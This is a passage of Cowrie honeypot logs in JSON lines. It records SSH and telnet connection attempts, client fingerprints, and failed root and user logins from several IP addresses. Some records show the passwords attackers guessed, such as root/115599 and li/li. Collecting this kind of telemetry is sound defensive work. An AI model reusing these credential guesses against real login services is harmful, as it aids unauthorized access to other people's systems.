failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:49.152851Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:4a:2f:7f:0c:f1:82:4b:02:3a:61:f6:4d:0c:5f:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdcITr6vfBA2qDpTvuocmNu9vMHq81KV2puJn9uRgDhn/rIcHSfm8PC8F3PBTR7rawiTGMLEAkKV5riLbDKoBM3qtd4vu+bjNqm0guXdXfRBaiZvDp3zK4NsTuLvVN7HBunafw8f9vHVxDTL2ClJqpMLFr5vSmeXWwSa37GrGSnmRiUiefeeJvsn0hwgJSZRMauHpB4hE6QRmsf2Og37WdBJC9+FbWd5GG61b3/1Oh42w08Lmg/UQbI6semuAn8ey6uyu/+8TrjtXENe0hwdcb/caGYrtVvmzrncvcT92EPIrBwdB/e0vwM8U9F7MM1RY8teQ6u+uzbyOWdvmahR/5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:4a:2f:7f:0c:f1:82:4b:02:3a:61:f6:4d:0c:5f:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:49.239375Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:4a:2f:7f:0c:f1:82:4b:02:3a:61:f6:4d:0c:5f:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdcITr6vfBA2qDpTvuocmNu9vMHq81KV2puJn9uRgDhn/rIcHSfm8PC8F3PBTR7rawiTGMLEAkKV5riLbDKoBM3qtd4vu+bjNqm0guXdXfRBaiZvDp3zK4NsTuLvVN7HBunafw8f9vHVxDTL2ClJqpMLFr5vSmeXWwSa37GrGSnmRiUiefeeJvsn0hwgJSZRMauHpB4hE6QRmsf2Og37WdBJC9+FbWd5GG61b3/1Oh42w08Lmg/UQbI6semuAn8ey6uyu/+8TrjtXENe0hwdcb/caGYrtVvmzrncvcT92EPIrBwdB/e0vwM8U9F7MM1RY8teQ6u+uzbyOWdvmahR/5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:49.243415Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:1e:fb:b5:e8:c6:19:2f:e6:1d:45:ec:10:c7:c1:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvSGEedhHbAXPM2oQUf13TO0/L6m43OpXK4dh596At3g9h/ANt/A2T6AdVjKcmJaSZx3yhI8TCQscpgP8u1VQlfDJP8FGn9WAGz+eJpl9nl9tiTl3n88PZXtEOlcpCy3yGR5crBITEBkIYTNrefs+gzDskXXrH1kdDCas51yEhxAwpRNDfiS8+NgOOfO79N79kewDgg+CGYz4rkfVcKhhuXx4OQYg9dJXlX+l0bMo6hffUcr+lnQ7wVvIqtY/XVCNa8OMgSQtOkspJnx+I15H9qMLGwpAeiL1ZKkPNYfEkfjxaZ6BCj7cTqktrnJg895IPeuipXuKrl8HCFI7m9kaYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:1e:fb:b5:e8:c6:19:2f:e6:1d:45:ec:10:c7:c1:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:49.330617Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:1e:fb:b5:e8:c6:19:2f:e6:1d:45:ec:10:c7:c1:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvSGEedhHbAXPM2oQUf13TO0/L6m43OpXK4dh596At3g9h/ANt/A2T6AdVjKcmJaSZx3yhI8TCQscpgP8u1VQlfDJP8FGn9WAGz+eJpl9nl9tiTl3n88PZXtEOlcpCy3yGR5crBITEBkIYTNrefs+gzDskXXrH1kdDCas51yEhxAwpRNDfiS8+NgOOfO79N79kewDgg+CGYz4rkfVcKhhuXx4OQYg9dJXlX+l0bMo6hffUcr+lnQ7wVvIqtY/XVCNa8OMgSQtOkspJnx+I15H9qMLGwpAeiL1ZKkPNYfEkfjxaZ6BCj7cTqktrnJg895IPeuipXuKrl8HCFI7m9kaYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:49.335197Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:49.423932Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46020,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf95ab980e2","protocol":"telnet","message":"New connection: 192.119.13.58:46020 (10.17.0.5:23) [session: 9cf95ab980e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:51.655297Z"}
{"eventid":"cowrie.session.closed","duration":41.810349225997925,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:51.944929Z","src_ip":"192.119.13.58","session":"b9a83f1287ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.2982656955719,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:55.176374Z","src_ip":"192.119.13.58","session":"63f2bdb4caf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":35592,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b12b17f296b","protocol":"ssh","message":"New connection: 103.149.28.157:35592 (10.17.0.5:22) [session: 1b12b17f296b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:00.204303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:00.216881Z","src_ip":"103.149.28.157","session":"1b12b17f296b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:00.453586Z","src_ip":"103.149.28.157","session":"1b12b17f296b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56250,"dst_ip":"10.17.0.5","dst_port":23,"session":"6106b6684c78","protocol":"telnet","message":"New connection: 192.119.13.58:56250 (10.17.0.5:23) [session: 6106b6684c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:01.404471Z"}
{"eventid":"cowrie.session.closed","duration":0.009412765502929688,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:01.413643Z","src_ip":"192.119.13.58","session":"6106b6684c78","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"115599","message":"login attempt [root/115599] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:01.435585Z","src_ip":"103.149.28.157","session":"1b12b17f296b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:02.695925Z","src_ip":"103.149.28.157","session":"1b12b17f296b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.76822113990784,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:08.583230Z","src_ip":"192.119.13.58","session":"baeff0f9e9e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38758,"dst_ip":"10.17.0.5","dst_port":23,"session":"8df96046bc4f","protocol":"telnet","message":"New connection: 192.119.13.58:38758 (10.17.0.5:23) [session: 8df96046bc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:11.730927Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44116,"dst_ip":"10.17.0.5","dst_port":23,"session":"6299308222cb","protocol":"telnet","message":"New connection: 192.119.13.58:44116 (10.17.0.5:23) [session: 6299308222cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:13.086419Z"}
{"eventid":"cowrie.session.closed","duration":37.5128231048584,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:13.093906Z","src_ip":"192.119.13.58","session":"8a2b3c62050b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.80989384651184,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:13.505058Z","src_ip":"192.119.13.58","session":"54cf98c852e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.285000801086426,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:18.203447Z","src_ip":"192.119.13.58","session":"d81b78723dab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47252,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9a6823c097c","protocol":"telnet","message":"New connection: 192.119.13.58:47252 (10.17.0.5:23) [session: c9a6823c097c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:21.162682Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":44490,"dst_ip":"10.17.0.5","dst_port":22,"session":"99c1f90fe15d","protocol":"ssh","message":"New connection: 91.4.14.170:44490 (10.17.0.5:22) [session: 99c1f90fe15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:21.621744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:21.626965Z","src_ip":"91.4.14.170","session":"99c1f90fe15d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:21.820480Z","src_ip":"91.4.14.170","session":"99c1f90fe15d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"li","password":"li","message":"login attempt [li/li] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:22.320505Z","src_ip":"91.4.14.170","session":"99c1f90fe15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:23.422220Z","src_ip":"91.4.14.170","session":"99c1f90fe15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":43701,"dst_ip":"159.203.135.109","dst_port":23,"session":"7108340ef651","protocol":"telnet","message":"New connection: 186.195.16.41:43701 (159.203.135.109:23) [session: 7108340ef651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:23.897372Z"}
{"eventid":"cowrie.session.closed","duration":33.21977782249451,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:24.874990Z","src_ip":"192.119.13.58","session":"9cf95ab980e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.480705976486206,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:26.300130Z","src_ip":"192.119.13.58","session":"7984578ef402","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":54148,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4c05fb87532","protocol":"ssh","message":"New connection: 186.219.184.142:54148 (10.17.0.5:22) [session: b4c05fb87532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:33.163884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:33.167783Z","src_ip":"186.219.184.142","session":"b4c05fb87532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:33.310840Z","src_ip":"186.219.184.142","session":"b4c05fb87532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a@","message":"login attempt [root/123456a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:33.916286Z","src_ip":"186.219.184.142","session":"b4c05fb87532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:35.066883Z","src_ip":"186.219.184.142","session":"b4c05fb87532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48578,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac4f254b27d","protocol":"telnet","message":"New connection: 192.119.13.58:48578 (10.17.0.5:23) [session: 2ac4f254b27d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:36.289182Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.15.76.227","src_port":37748,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9fab56abc97","protocol":"telnet","message":"New connection: 52.15.76.227:37748 (159.203.135.109:23) [session: f9fab56abc97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:39.670313Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.15.76.227","src_port":56656,"dst_ip":"159.203.135.109","dst_port":22,"session":"346b5f9816ca","protocol":"ssh","message":"New connection: 52.15.76.227:56656 (159.203.135.109:22) [session: 346b5f9816ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:39.959511Z"}
{"eventid":"cowrie.session.closed","duration":1.0581719875335693,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:40.728345Z","src_ip":"52.15.76.227","session":"f9fab56abc97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:40.786361Z","src_ip":"52.15.76.227","session":"346b5f9816ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.176697254180908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:44.262972Z","src_ip":"192.119.13.58","session":"6299308222cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32902,"dst_ip":"10.17.0.5","dst_port":23,"session":"a87f245e2c91","protocol":"telnet","message":"New connection: 192.119.13.58:32902 (10.17.0.5:23) [session: a87f245e2c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:46.474849Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50988,"dst_ip":"10.17.0.5","dst_port":23,"session":"af90c6e0153d","protocol":"telnet","message":"New connection: 192.119.13.58:50988 (10.17.0.5:23) [session: af90c6e0153d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:51.041858Z"}
{"eventid":"cowrie.session.closed","duration":40.96673846244812,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:52.697520Z","src_ip":"192.119.13.58","session":"8df96046bc4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42068,"dst_ip":"10.17.0.5","dst_port":23,"session":"78fdb3e871b2","protocol":"telnet","message":"New connection: 192.119.13.58:42068 (10.17.0.5:23) [session: 78fdb3e871b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:56.049243Z"}
{"eventid":"cowrie.session.closed","duration":37.441128730773926,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:29:58.603719Z","src_ip":"192.119.13.58","session":"c9a6823c097c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50626,"dst_ip":"10.17.0.5","dst_port":23,"session":"feb04239ee68","protocol":"telnet","message":"New connection: 192.119.13.58:50626 (10.17.0.5:23) [session: feb04239ee68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:05.541678Z"}
{"eventid":"cowrie.session.closed","duration":45.27835178375244,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:09.175620Z","src_ip":"186.195.16.41","session":"7108340ef651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41408,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5207ae742ce","protocol":"telnet","message":"New connection: 192.119.13.58:41408 (10.17.0.5:23) [session: f5207ae742ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:10.558197Z"}
{"eventid":"cowrie.session.closed","duration":35.50177717208862,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:11.790856Z","src_ip":"192.119.13.58","session":"2ac4f254b27d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46268,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ded47e6eb7d","protocol":"telnet","message":"New connection: 192.119.13.58:46268 (10.17.0.5:23) [session: 9ded47e6eb7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:26.419076Z"}
{"eventid":"cowrie.session.closed","duration":34.928927183151245,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:30.978052Z","src_ip":"192.119.13.58","session":"78fdb3e871b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.76185178756714,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:33.236581Z","src_ip":"192.119.13.58","session":"a87f245e2c91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.15146994590759,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:35.193160Z","src_ip":"192.119.13.58","session":"af90c6e0153d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49584,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7c3c84bd59","protocol":"telnet","message":"New connection: 192.119.13.58:49584 (10.17.0.5:23) [session: 6b7c3c84bd59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:35.508074Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53724,"dst_ip":"10.17.0.5","dst_port":23,"session":"f559734dabb8","protocol":"telnet","message":"New connection: 192.119.13.58:53724 (10.17.0.5:23) [session: f559734dabb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:35.629789Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":42800,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8e07c3f8c55","protocol":"ssh","message":"New connection: 91.4.14.170:42800 (10.17.0.5:22) [session: a8e07c3f8c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:37.042039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:37.047230Z","src_ip":"91.4.14.170","session":"a8e07c3f8c55","protocol":"ssh"}
